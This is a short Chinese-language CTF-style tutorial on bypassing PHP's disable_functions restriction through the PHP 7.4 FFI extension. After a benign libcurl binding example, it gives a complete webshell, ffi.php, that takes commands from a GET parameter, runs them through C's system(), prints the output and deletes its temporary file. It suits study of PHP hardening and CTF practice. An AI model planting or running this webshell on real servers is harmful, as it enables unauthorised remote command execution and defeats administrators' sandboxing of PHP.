FFI扩展 bypass disable functions
介绍
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions
也就是说,只要目标环境中的PHP开启了FFI扩展,如果我们能上传文件或写入恶意代码到web目录中,便可以利用FFI调用C语言中的函数来执行命令,从而绕过disable functions。
核心语句为
FFI::cdef
FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI
//告诉PHP FFI我们要调用的函数原型
例如,调用libcurl
库函数
//curl.php
<?php
const CURLOPT_URL = 10002;
const CURLOPT_SSL_VERIFYPEER = 64;//PHP预定义好了CURLOPT_等option的值,但这里我们需要自己定义,简单的办法就是查看curl的头文件,找到对应的值,然后把值给加进去
$libcurl = FFI::cdef(<<<CTYPE
void *curl_easy_init();
int curl_easy_setopt(void *curl, int option, ...);
int curl_easy_perform(void *curl);
void curl_easy_cleanup(void *handle);
CTYPE
, "libcurl.so" //声明我们引用的函数来自libcurl.so动态库
);
?>
这样我们就能在其它php文件中通过简单的引用来使用libcurl库中的函数了
<?php
require "curl.php";
$url = "https://www.laruence.com/2020/03/11/5475.html";
$ch = $libcurl->curl_easy_init();
$libcurl->curl_easy_setopt($ch, CURLOPT_URL, $url);
$libcurl->curl_easy_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$libcurl->curl_easy_perform($ch);
$libcurl->curl_easy_cleanup($ch);
?>
在CTF中使用
当我们利用webshell获得了一定的执行权限,但需要绕过disable functions时,如果对方服务器版本大于等于7.4,便可以尝试使用FFI制造命令执行
上传一个ffi.php
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/123"); //由GET传参的任意代码执行
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
}
else{
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag > /tmp/123"); //任意代码执行
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
}
?>
代码逻辑非常简单
可访问该文件通过GET传参的方式传入我们想执行的命令,命令是通过C语言的system函数执行的,用这种方式绕过了disable functions。
将返回结果写入/tmp/123,并在每次读出结果后用unlink()
函数删除它。